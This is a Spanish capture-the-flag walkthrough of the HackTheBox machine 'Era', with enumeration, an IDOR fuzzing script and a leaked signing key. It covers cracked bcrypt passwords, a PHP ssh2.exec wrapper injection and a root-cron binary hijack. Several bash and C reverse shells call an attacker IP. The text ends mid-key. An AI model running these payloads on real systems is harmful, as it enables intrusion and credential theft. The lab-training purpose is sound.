Era HackTheBox (Intermediate)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-25 05:46 EDT
Nmap scan report for 10.10.11.79
Host is up (0.033s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.29 seconds

Veremos varios puertos interesantes, entre ellos el 80 y el FTP (21), vemos que en el 80 nos redirige a un dominio llamado era.htb, por lo que vamos añadirlo a nuestro archivo hosts.

nano /etc/hosts

#Dentro del nano
<IP>          era.htb

Lo guardamos y entramos dentro de dicho dominio a ver que vemos.

URL = http://era.htb/

Veremos que es una pagina de empresa normal, un poco mas abajo veremos varios empleados de la empresa, por lo que tenemos 3 nombres de usuarios, que podriamos guardarnos por si acaso.

Ya que tenemos un dominio vamos a realizar un poco de fuzzing para ver si hubiera algun subdominio.

FFUF

Antes nos descargamos un diccionario de subdominios de la siguiente pagina:

wget https://gist.githubusercontent.com/six2dez/a307a04a222fab5a57466c51e1569acf/raw
mv raw subdomains.txt

Ahora que tenemos el diccionario vamos hacer lo siguiente:

ffuf -c -w subdomains.txt -u http://era.htb -H "Host: FUZZ.era.htb" -fs 154

Info:

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://era.htb
 :: Wordlist         : FUZZ: /home/kali/Desktop/era/subdomains.txt
 :: Header           : Host: FUZZ.era.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

file                    [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 32ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

Veremos que ha funcionado, por lo que vamos añadirlo a nuestro archivo hosts el subdominio llamado file.

nano /etc/hosts

#Dentro del nano
<IP>           era.htb file.era.htb

Lo guardamos y entramos a dicho subdominio de esta forma:

URL = http://file.era.htb/

Info:

Si le damos a cualquiera de las opciones nos llevara a un login, pero no tenemos ningunas credenciales, vamos a realizar un poco de fuzzing para ver que otras rutas puede haber.

Gobuster

gobuster dir -u http://file.era.htb/ -w <WORDLIST> -x html,php,txt -t 100 -k -r --exclude-length 6765

Info:

===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://file.era.htb/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Exclude Length:          6765
[+] User Agent:              gobuster/3.8
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 403) [Size: 162]
/# license, visit http://creativecommons.org/licenses/by-sa/3.0/.html (Status: 403) [Size: 162]
/login.php            (Status: 200) [Size: 9214]
/download.php         (Status: 200) [Size: 9214]
/register.php         (Status: 200) [Size: 3205]
/files                (Status: 403) [Size: 162]
/assets               (Status: 403) [Size: 162]
/upload.php           (Status: 200) [Size: 9214]
/layout.php           (Status: 200) [Size: 0]
/logout.php           (Status: 200) [Size: 70]
/manage.php           (Status: 200) [Size: 9214]
/LICENSE              (Status: 200) [Size: 34524]
/reset.php            (Status: 200) [Size: 9214]
Progress: 124299 / 882236 (14.09%)^C

Con esto veremos una ruta muy interesante llamada /register.php, si entramos en dicho archivo.

URL = http://file.era.htb/register.php

Info:

Vemos que ha funcionado, vamos a probar a registrar un usuario en la web, una vez registrado nos redirige al login, cuando iniciemos sesion con dichas credenciales, veremos lo siguiente:

Si probamos a subir un archivo por ejemplo una reverse shell.

shell.php

<?php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>

Nos vamos a la seccion de Upload Files y si nos dejara subirlo:

Pero si nos vamos a dicho ID de archivo, solamente nos dejara descargarlo, no nos permite acceder a dicho archivo, por lo que no podremos hacer mucho.

Pero si realizamos un poco de fuzzing en el parametro ID para ver que otros archivos pueden estar cargados en la pagina, nos vamos a montar un script que haga esto mismo:

fuzzID.sh

#!/bin/bash

URL="http://file.era.htb/download.php"
COOKIE="PHPSESSID=<COOKIE>"

echo "[+] Probando IDs del 1 al 1000..."
echo "[+] Buscando archivos existentes..."
echo "[+] Guardando resultados en: results.txt"

> results.txt
valid_ids=0

for id in {1..1000}; do
    # Descargar contenido y verificar si es válido
    content=$(curl -s -H "Cookie: $COOKIE" "$URL?id=$id")
    
    # Verificar si contiene el mensaje de archivo válido
    if echo "$content" | grep -q "Your Download Is Ready!"; then
        # Extraer nombre del archivo
        filename=$(echo "$content" | grep -o '<p>[^<]*</p>' | sed -n '2p' | sed 's/<[^>]*>//g')
        size=$(echo "$content" | wc -c)
        
        echo "[+] ID VÁLIDO: $id - Archivo: $filename - Tamaño: $size bytes"
        echo "ID: $id - Archivo: $filename - URL: $URL?id=$id" >> results.txt
        ((valid_ids++))
        
        # Guardar el contenido HTML para análisis
        echo "$content" > "content_$id.html"
    fi
    
    # Progress cada 50 IDs
    if [ $((id % 50)) -eq 0 ]; then
        echo "Procesados: $id/1000 - Válidos: $valid_ids"
    fi
done

echo "[+] Escaneo completado."
echo "[+] Total de archivos encontrados: $valid_ids"

if [ $valid_ids -gt 0 ]; then
    echo ""
    echo "[+] Resumen:"
    cat results.txt
else
    echo "[-] No se encontraron archivos válidos"
    rm -f results.txt
fi

Poniendo nuestra Cookie de sesion en el script, lo ejecutaremos de esta forma:

bash fuzzID.sh

Info:

[+] Probando IDs del 1 al 1000...
[+] Buscando archivos existentes...
[+] Guardando resultados en: results.txt
Procesados: 50/1000 - Válidos: 0
[+] ID VÁLIDO: 54 - Archivo:  - Tamaño: 6379 bytes
Procesados: 100/1000 - Válidos: 1
[+] ID VÁLIDO: 150 - Archivo:  - Tamaño: 6367 bytes
Procesados: 150/1000 - Válidos: 2
Procesados: 200/1000 - Válidos: 2
Procesados: 250/1000 - Válidos: 2
Procesados: 300/1000 - Válidos: 2
Procesados: 350/1000 - Válidos: 2
Procesados: 400/1000 - Válidos: 2
Procesados: 450/1000 - Válidos: 2
Procesados: 500/1000 - Válidos: 2
Procesados: 550/1000 - Válidos: 2
Procesados: 600/1000 - Válidos: 2
Procesados: 650/1000 - Válidos: 2
Procesados: 700/1000 - Válidos: 2
Procesados: 750/1000 - Válidos: 2
Procesados: 800/1000 - Válidos: 2
Procesados: 850/1000 - Válidos: 2
Procesados: 900/1000 - Válidos: 2
Procesados: 950/1000 - Válidos: 2
Procesados: 1000/1000 - Válidos: 2
[+] Escaneo completado.
[+] Total de archivos encontrados: 2

[+] Resumen:
ID: 54 - Archivo:  - URL: http://file.era.htb/download.php?id=54
ID: 150 - Archivo:  - URL: http://file.era.htb/download.php?id=150

Veremos que ha encontrado 2 IDs, si entramos en ellos uno sera de un archivo llamado site-backup-30-08-24.zip y el otro llamado signing.zip, vamos a descargarnos los dos archivos e investigar que pueden contener.

Si descomprimimos el primer archivo:

unzip signing.zip

Info:

Archive:  signing.zip
  inflating: key.pem                 
  inflating: x509.genkey

Los 2 archivos que se descomprimieron contiene la siguiente informacion:

key.pem

-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCqKH30+RZjkxiV
JMnuB6b1dDbWUaw3p2QyQvWMbFvsi7zG1kE2LBrKjsEyvcxo8m0wL9feuFiOlciD
MamELMAW0UjMyew01+S+bAEcOawH81bVahxNkA4hHi9d/rysTe/dnNkh08KgHhzF
mTApjbV0MQwUDOLXSw9eHd+1VJClwhwAsL4xdk4pQS6dAuJEnx3IzNoQ23f+dPqT
CMAAWST67VPZjSjwW1/HHNi12ePewEJRGB+2K+YeGj+lxShW/I1jYEHnsOrliM2h
ZvOLqS9LjhqfI9+Q1RxIQF69yAEUeN4lYupa0Ghr2h96YLRE5YyXaBxdSA4gLGOV
HZgMl2i/AgMBAAECggEALCO53NjamnT3bQTwjtsUT9rYOMtR8dPt1W3yNX2McPWk
wC2nF+7j+kSC0G9UvaqZcWUPyfonGsG3FHVHBH75S1H54QnGSMTyVQU+WnyJaDyS
+2R9uA8U4zlpzye7+LR08xdzaed9Nrzo+Mcuq7DTb7Mjb3YSSAf0EhWMyQSJSz38
nKOcQBQhwdmiZMnVQp7X4XE73+2Wft9NSeedzCpYRZHrI820O+4MeQrumfVijbL2
xx3o0pnvEnXiqbxJjYQS8gjSUAFCc5A0fHMGmVpvL+u7Sv40mj/rnGvDEAnaNf+j
SlC9KdF5z9gWAPii7JQtTzWzxDinUxNUhlJ00df29QKBgQDsAkzNjHAHNKVexJ4q
4CREawOfdB/Pe0lm3dNf5UlEbgNWVKExgN/dEhTLVYgpVXJiZJhKPGMhSnhZ/0oW
gSAvYcpPsuvZ/WN7lseTsH6jbRyVgd8mCF4JiCw3gusoBfCtp9spy8Vjs0mcWHRW
PRY8QbMG/SUCnUS0KuT1ikiIYwKBgQC4kkKlyVy2+Z3/zMPTCla/IV6/EiLidSdn
RHfDx8l67Dc03thgAaKFUYMVpwia3/UXQS9TPj9Ay+DDkkXsnx8m1pMxV0wtkrec
pVrSB9QvmdLYuuonmG8nlgHs4bfl/JO/+Y7lz/Um1qM7aoZyPFEeZTeh6qM2s+7K
kBnSvng29QKBgQCszhpSPswgWonjU+/D0Q59EiY68JoCH3FlYnLMumPlOPA0nA7S
4lwH0J9tKpliOnBgXuurH4At9gsdSnGC/NUGHII3zPgoSwI2kfZby1VOcCwHxGoR
vPqt3AkUNEXerkrFvCwa9Fr5X2M8mP/FzUCkqi5dpakduu19RhMTPkdRpQKBgQCJ
tU6WpUtQlaNF1IASuHcKeZpYUu7GKYSxrsrwvuJbnVx/TPkBgJbCg5ObFxn7e7dA
l3j40cudy7+yCzOynPJAJv6BZNHIetwVuuWtKPwuW8WNwL+ttTTRw0FCfRKZPL78
D/WHD4aoaKI3VX5kQw5+8CP24brOuKckaSlrLINC9QKBgDs90fIyrlg6YGB4r6Ey
4vXtVImpvnjfcNvAmgDwuY/zzLZv8Y5DJWTe8uxpiPcopa1oC6V7BzvIls+CC7VC
hc7aWcAJeTlk3hBHj7tpcfwNwk1zgcr1vuytFw64x2nq5odIS+80ThZTcGedTuj1
qKTzxN/SefLdu9+8MXlVZBWj
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDajCCAlKgAwIBAgIUbWNKqYHhk6HkSMUgX/ebhOa29QswDQYJKoZIhvcNAQEL
BQAwTzERMA8GA1UECgwIRXJhIEluYy4xGTAXBgNVBAMMEEVMRiB2ZXJpZmljYXRp
b24xHzAdBgkqhkiG9w0BCQEWEHl1cml2aWNoQGVyYS5jb20wIBcNMjUwMTI2MDIw
OTM1WhgPMjEyNTAxMDIwMjA5MzVaME8xETAPBgNVBAoMCEVyYSBJbmMuMRkwFwYD
VQQDDBBFTEYgdmVyaWZpY2F0aW9uMR8wHQYJKoZIhvcNAQkBFhB5dXJpdmljaEBl
cmEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqih99PkWY5MY
lSTJ7gem9XQ21lGsN6dkMkL1jGxb7Iu8xtZBNiwayo7BMr3MaPJtMC/X3rhYjpXI
gzGphCzAFtFIzMnsNNfkvmwBHDmsB/NW1WocTZAOIR4vXf68rE3v3ZzZIdPCoB4c
xZkwKY21dDEMFAzi10sPXh3ftVSQpcIcALC+MXZOKUEunQLiRJ8dyMzaENt3/nT6
kwjAAFkk+u1T2Y0o8FtfxxzYtdnj3sBCURgftivmHho/pcUoVvyNY2BB57Dq5YjN
oWbzi6kvS44anyPfkNUcSEBevcgBFHjeJWLqWtBoa9ofemC0ROWMl2gcXUgOICxj
lR2YDJdovwIDAQABozwwOjAMBgNVHRMBAf8EAjAAMAsGA1UdDwQEAwIHgDAdBgNV
HQ4EFgQU/XYF/LzWBMr+NhZw/PHUlQHb0s0wDQYJKoZIhvcNAQELBQADggEBAAzE
eNQxIJH6Z8vOvP8g1OoyD0Ot9E8U/PdxlM7QWqk9qcH0xyQZqg7Ee5L/kq4y/1i1
ZxAPlBfOUx4KhZgWVkStfvut0Ilg3VSXVntPPRi8WAcDV5nivYtphv16ZQkaclFy
dN0mYQc2NlqDv+y5FKnGbkioRUVGGmkIqeaT4HIUA2CFRnTr2Jao0TwAIG0jfpov
+y/t2WhUNto9L04vcD3ZAzuEPZnqs/L9rsoDZ1Ee3DxnOC7l3PkklaIiDrXiHAkd
Nrg7N9XCeQr0FUS0xLMBMVCEJT2TCo6lXKtcI5A5FgAcyECDzkw+HdgSYFPaoYJq
5rxH+xhuDqRDr941Sg4=
-----END CERTIFICATE-----

x509.genkey

[ req ]
default_bits = 2048
distinguished_name = req_distinguished_name
prompt = no
string_mask = utf8only
x509_extensions = myexts

[ req_distinguished_name ]
O = Era Inc.
CN = ELF verification
emailAddress = yurivich@era.com

[ myexts ]
basicConstraints=critical,CA:FALSE
keyUsage=digitalSignature
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid

Ya mirando esto veremos informacion muy interesante entre ella un nombre de usuario llamado yurivich el cual nos vamos a guardar, si descomprimimos el segundo archivo.

unzip site-backup-30-08-24.zip

Info:

Archive:  site-backup-30-08-24.zip
  inflating: LICENSE                 
  inflating: bg.jpg                  
   creating: css/
  inflating: css/main.css.save       
  inflating: css/main.css            
  inflating: css/fontawesome-all.min.css  
  inflating: css/noscript.css        
   creating: css/images/
 extracting: css/images/overlay.png  
  inflating: download.php            
  inflating: filedb.sqlite           
   creating: files/
  inflating: files/.htaccess         
 extracting: files/index.php         
  inflating: functions.global.php    
  inflating: index.php               
  inflating: initial_layout.php      
  inflating: layout.php              
  inflating: layout_login.php        
  inflating: login.php               
  inflating: logout.php              
  inflating: main.png                
  inflating: manage.php              
  inflating: register.php            
  inflating: reset.php               
   creating: sass/
   creating: sass/layout/
  inflating: sass/layout/_wrapper.scss  
  inflating: sass/layout/_footer.scss  
  inflating: sass/layout/_main.scss  
  inflating: sass/main.scss          
   creating: sass/base/
  inflating: sass/base/_page.scss    
  inflating: sass/base/_reset.scss   
  inflating: sass/base/_typography.scss  
   creating: sass/libs/
  inflating: sass/libs/_vars.scss    
  inflating: sass/libs/_vendor.scss  
  inflating: sass/libs/_functions.scss  
  inflating: sass/libs/_mixins.scss  
  inflating: sass/libs/_breakpoints.scss  
  inflating: sass/noscript.scss      
   creating: sass/components/
  inflating: sass/components/_actions.scss  
  inflating: sass/components/_icons.scss  
  inflating: sass/components/_button.scss  
  inflating: sass/components/_icon.scss  
  inflating: sass/components/_list.scss  
  inflating: sass/components/_form.scss  
  inflating: screen-download.png     
  inflating: screen-login.png        
  inflating: screen-main.png         
  inflating: screen-manage.png       
  inflating: screen-upload.png       
  inflating: security_login.php      
  inflating: upload.php              
   creating: webfonts/
  inflating: webfonts/fa-solid-900.eot  
  inflating: webfonts/fa-regular-400.ttf  
  inflating: webfonts/fa-regular-400.woff  
  inflating: webfonts/fa-solid-900.svg  
  inflating: webfonts/fa-solid-900.ttf  
  inflating: webfonts/fa-solid-900.woff  
  inflating: webfonts/fa-brands-400.ttf  
 extracting: webfonts/fa-regular-400.woff2  
  inflating: webfonts/fa-solid-900.woff2  
  inflating: webfonts/fa-regular-400.eot  
  inflating: webfonts/fa-regular-400.svg  
  inflating: webfonts/fa-brands-400.woff2  
  inflating: webfonts/fa-brands-400.woff  
  inflating: webfonts/fa-brands-400.eot  
  inflating: webfonts/fa-brands-400.svg

Veremos efectivamente los archivos de la pagina web en formato de backup, vamos analizar a ver si hubiera algo interesante.

Investigando un poco veremos un archivo llamado filedb.sqlite el cual vamos a observar por la herramienta de sqlite3.

sqlite3 filedb.sqlite

Entrando dentro de la interfaz, vamos a listar las tablas.

.tables

Info:

files  users

Si vemos que contiene la tabla users.

select * from users;

Info:

1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||

Veremos varias credenciales, por lo que vamos a probar a intentar crackearlas de esta forma:

John (Crackeo)

hash

admin_ef01cab31aa:$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm
veronica:$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
john:$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
ethan:$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC

Teniendo nuestro archivo de credenciales hasheadas vamos a crackearlo de esta forma:

john --format=bcrypt --wordlist=<WORDLIST> hash

Info:

Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 1024 to 4096
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
america          (eric)     
mustang          (yuri)
2g 0:00:01:47 0.06% (ETA: 2025-09-27 07:32) 0.01854g/s 98.15p/s 397.9c/s 397.9C/s kasandra..jhoan
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

Veremos que pudimos obtener 2 credenciales, vamos a probarlas por FTP a ver si funcionan tambien.

ftp yuri@<IP>

Metemos como contraseña mustang...

230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||44677|)
150 Here comes the directory listing.
drwxr-xr-x    4 0        114          4096 Jul 22 08:42 .
drwxr-xr-x    4 0        114          4096 Jul 22 08:42 ..
drwxr-xr-x    2 0        0            4096 Jul 22 08:42 apache2_conf
drwxr-xr-x    3 0        0            4096 Jul 22 08:42 php8.1_conf
226 Directory send OK.

Veremos que ha funcionado con el usuario yuri, si listamos veremos 2 directorios de configuracion, pero no veremos nada interesante, si nosotros vemos como esta compuesto el archivo de download.php que vimos antes.

download.php

<?php

require_once('functions.global.php');
require_once('layout.php');

function deliverMiddle_download($title, $subtitle, $content) {
    return '
    <main style="
        display: flex; 
        flex-direction: column; 
        align-items: center; 
        justify-content: center; 
        height: 80vh; 
        text-align: center;
        padding: 2rem;
    ">
        <h1>' . htmlspecialchars($title) . '</h1>
        <p>' . htmlspecialchars($subtitle) . '</p>
        <div>' . $content . '</div>
    </main>
    ';
}


if (!isset($_GET['id'])) {
        header('location: index.php'); // user loaded without requesting file by id
        die();
}

if (!is_numeric($_GET['id'])) {
        header('location: index.php'); // user requested non-numeric (invalid) file id
        die();
}

$reqFile = $_GET['id'];

$fetched = contactDB("SELECT * FROM files WHERE fileid='$reqFile';", 1);

$realFile = (count($fetched) != 0); // Set realFile to true if we found the file id, false if we didn't find it

if (!$realFile) {
        echo deliverTop("Era - Download");

        echo deliverMiddle("File Not Found", "The file you requested doesn't exist on this server", "");

        echo deliverBottom();
} else {
        $fileName = str_replace("files/", "", $fetched[0]);


        // Allow immediate file download
        if ($_GET['dl'] === "true") {

                header('Content-Type: application/octet-stream');
                header("Content-Transfer-Encoding: Binary");
                header("Content-disposition: attachment; filename=\"" .$fileName. "\"");
                readfile($fetched[0]);
        // BETA (Currently only available to the admin) - Showcase file instead of downloading it
        } elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
                $format = isset($_GET['format']) ? $_GET['format'] : '';
                $file = $fetched[0];

                if (strpos($format, '://') !== false) {
                        $wrapper = $format;
                        header('Content-Type: application/octet-stream');
                } else {
                        $wrapper = '';
                        header('Content-Type: text/html');
                }

                try {
                        $file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
                        $full_path = $wrapper ? $wrapper . $file : $file;
                        // Debug Output
                        echo "Opening: " . $full_path . "\n";
                        echo $file_content;
                } catch (Exception $e) {
                        echo "Error reading file: " . $e->getMessage();
                }


        // Allow simple download
        } else {
                echo deliverTop("Era - Download");
                echo deliverMiddle_download("Your Download Is Ready!", $fileName, '<a href="download.php?id='.$_GET['id'].'&dl=true"><i class="fa fa-download fa-5x"></i></a>');

        }

}


?>

Vamos a ver que tiene una vulnerabilidad de Acceso a wrappers de PHP - LECTOR DE ARCHIVOS pero para ello tendremos que ser admin, si recordamos antes, tenemos el usuario de administrador su nombre, vamos a cerrar sesion y vamos a irnos al archivo llamado reset.php para poder resetear a dicho usuario, en todos los campos meteremos el nombre de admin_ef01cab31aa estando en la misma sesion de nuestro usuario ya logueados y cuando le demos a resetear veremos que nos redirige a la sesion actual, cerramos sesion y vamos otra vez a reset.php volvemos a meter admin_ef01cab31aa en todos los campos y ya seremos los administradores, por lo que nos inicia sesion de forma automatica, una vez siendo administradores, podremos probar la vulnerabilidad de esta forma:

Vemos que se pueden utilizar wrappers como ssh2.shell:// o ssh2.exec://, utilizaremos en este caso el de exec para ejecutar un comando, nos pondremos a la escucha en un servidor de python3 para ver si se ejecuta de forma correcta dicho comando:

python3 -m http.server 80

Ahora si ejecutamos esto:

URL = http://file.era.htb/download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1/curl http://<IP_ATTACKER>/

Se nos descargara un archivo, pero ese no nos interesa, si vamos a nuestro servidor de python3 veremos lo siguiente:

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.79 - - [25/Sep/2025 07:58:59] code 404, message File not found
10.10.11.79 - - [25/Sep/2025 07:58:59] "GET /files/site-backup-30-08-24.zip HTTP/1.1" 404 -

Vemos que se esta ejecutando bien, por lo que vamos a ejecutar una reverse shell de esta forma:

URL = http://file.era.htb/download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1/bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.10.14.98/7777%200%3E%261%22+

Le añadiremos un + a lo ultimo para que separe el comando que concatena al que nosotros estamos enviando, ya que si lo enviamos sin el + se va a concatenar el comando files/site-backup-30-08-24.zip y no funcionara.

Antes de enviarlo nos pondremos a la escucha:

nc -lvnp <PORT>

Ahora si le damos a ENTER en la URL para que se ejecute y volvemos a donde tenemos la escucha, veremos lo siguiente:

listening on [any] 7777 ...
connect to [10.10.14.98] from (UNKNOWN) [10.10.11.79] 55300
bash: cannot set terminal process group (26239): Inappropriate ioctl for device
bash: no job control in this shell
yuri@era:~$ whoami
whoami
yuri

Veremos que ha funcionado, por lo que vamos a sanitizar la shell.

Sanitización de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Escalate user eric

Si nosotros listamos el passwd veremos que hay otro usuario llamado eric y si recordamos antes tenemos sus credenciales, vamos a probarlo directamente desde esta shell a ver si nos dejara.

su eric

Metemos como contraseña america...

eric@era:/home/yuri$ whoami
eric

Veremos que estaremos dentro con dicho usuario, por lo que vamos a leer la flag del usuario.

user.txt

df5cefc62780d3247b132cb10e811879

Escalate Privileges

Si listamos del grupo que somos veremos esto:

uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)

Vemos que somos del grupo devs, vamos a realizar un find para ver que podemos hacer con dicho grupo en el sistema.

find / -group devs -type f 2>/dev/null

Info:

/opt/AV/periodic-checks/monitor
/opt/AV/periodic-checks/status.log

Veremos que esta en la carpeta /opt la carpeta AV en la cual pertenece a dicho grupo, si entramos dentro donde la carpeta periodic-checks veremos los siguientes permisos:

total 32
drwxrwxr-- 2 root devs  4096 Sep 25 12:14 .
drwxrwxr-- 3 root devs  4096 Jul 22 08:42 ..
-rwxrw---- 1 root devs 16544 Sep 25 12:14 monitor
-rw-rw---- 1 root devs   307 Sep 25 12:14 status.log

Vemos que podemos editar y sobreescribir el archivo monitor, vamos a probar a estar a la escucha de cualquier proceso con una herramienta llamadapspy64.

URL = Download pspy64 linux

cd /tmp
wget http://<IP_ATTACKER>/pspy64 # Desde nuestra maquina atacante nos descargamos el archivo abrimos un servidor de python3 y nos lo pasamos asi.
./pspy64

Info:

............................<RESTO DE CODIGO>......................................
2025/09/25 12:19:04 CMD: UID=0     PID=1      | /sbin/init 
2025/09/25 12:20:01 CMD: UID=0     PID=26634  | /usr/sbin/CRON -f -P 
2025/09/25 12:20:01 CMD: UID=0     PID=26633  | /usr/sbin/CRON -f -P 
2025/09/25 12:20:01 CMD: UID=0     PID=26635  | /bin/sh -c /root/clean_monitor.sh 
2025/09/25 12:20:01 CMD: UID=0     PID=26636  | /bin/bash /root/clean_monitor.sh 
2025/09/25 12:20:01 CMD: UID=0     PID=26637  | cp /root/monitor /opt/AV/periodic-checks/monitor 
2025/09/25 12:20:01 CMD: UID=0     PID=26638  | 
2025/09/25 12:20:01 CMD: UID=0     PID=26639  | chown root:devs /opt/AV/periodic-checks/monitor 
2025/09/25 12:20:01 CMD: UID=0     PID=26640  | /bin/sh -c bash -c '/root/initiate_monitoring.sh' >> /opt/AV/periodic-checks/status.log 2>&1 
2025/09/25 12:20:01 CMD: UID=0     PID=26641  | bash -c /root/initiate_monitoring.sh 
2025/09/25 12:20:01 CMD: UID=0     PID=26642  | objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor 
2025/09/25 12:20:01 CMD: UID=0     PID=26645  | openssl asn1parse -inform DER -in text_sig_section.bin 
2025/09/25 12:20:01 CMD: UID=0     PID=26644  | /bin/bash /root/initiate_monitoring.sh 
2025/09/25 12:20:01 CMD: UID=0     PID=26648  | 
2025/09/25 12:20:01 CMD: UID=0     PID=26646  | /bin/bash /root/initiate_monitoring.sh 
2025/09/25 12:20:01 CMD: UID=0     PID=26651  | /bin/bash /root/initiate_monitoring.sh 
2025/09/25 12:20:01 CMD: UID=0     PID=26649  | /bin/bash /root/initiate_monitoring.sh 
2025/09/25 12:20:01 CMD: UID=0     PID=26652  | /opt/AV/periodic-checks/monitor 
2025/09/25 12:20:04 CMD: UID=0     PID=26655  | 
^CExiting program... (interrupt)

Vemos que cada x tiempo se esta ejecutando el binario monitor como el usuario root, por lo que podremos hacer lo siguiente:

monitor

#!/bin/bash 

bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

Si hacemos esto y esperamos un rato monitoreando los procesos veremos esto otro:

2025/09/25 12:23:21 CMD: UID=0     PID=1      | /sbin/init 
2025/09/25 12:24:01 CMD: UID=0     PID=26727  | bash -c /root/initiate_monitoring.sh 
2025/09/25 12:24:01 CMD: UID=0     PID=26726  | /bin/sh -c bash -c '/root/initiate_monitoring.sh' >> /opt/AV/periodic-checks/status.log 2>&1 
2025/09/25 12:24:01 CMD: UID=0     PID=26725  | /usr/sbin/CRON -f -P 
2025/09/25 12:24:01 CMD: UID=0     PID=26724  | /usr/sbin/CRON -f -P 
2025/09/25 12:24:01 CMD: UID=0     PID=26728  | /bin/bash /root/initiate_monitoring.sh 
2025/09/25 12:24:01 CMD: UID=0     PID=26731  | /bin/bash /root/initiate_monitoring.sh 
2025/09/25 12:24:01 CMD: UID=0     PID=26730  | /bin/sh -c bash -c 'echo > /opt/AV/periodic-checks/status.log' 
2025/09/25 12:24:01 CMD: UID=0     PID=26729  | /bin/bash /root/initiate_monitoring.sh

Por lo que vemos esta comprobando la firma del binario y como no es igual no lo ejecuta, acordemonos de que obtuvimos un archivo en el comprimido de signing.zip que nos daba ya estas claves, por lo que vamos a crear un binario desde C# compilarlo y firmarlo con dichas claves de esta forma desde nuestra maquina atacante:

Primero vamos a crear el monitor.c:

#include <unistd.h>
int main() {
    setuid(0); setgid(0);
    execl("/bin/bash", "bash", "-c", "bash -i >& /dev/tcp/<IP>/<PORT> 0>&1", NULL);
    return 0;
}

Ahora vamos a compilarlo:

x86_64-linux-gnu-gcc -o monitor monitor.c -static

key.pem

-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCqKH30+RZjkxiV
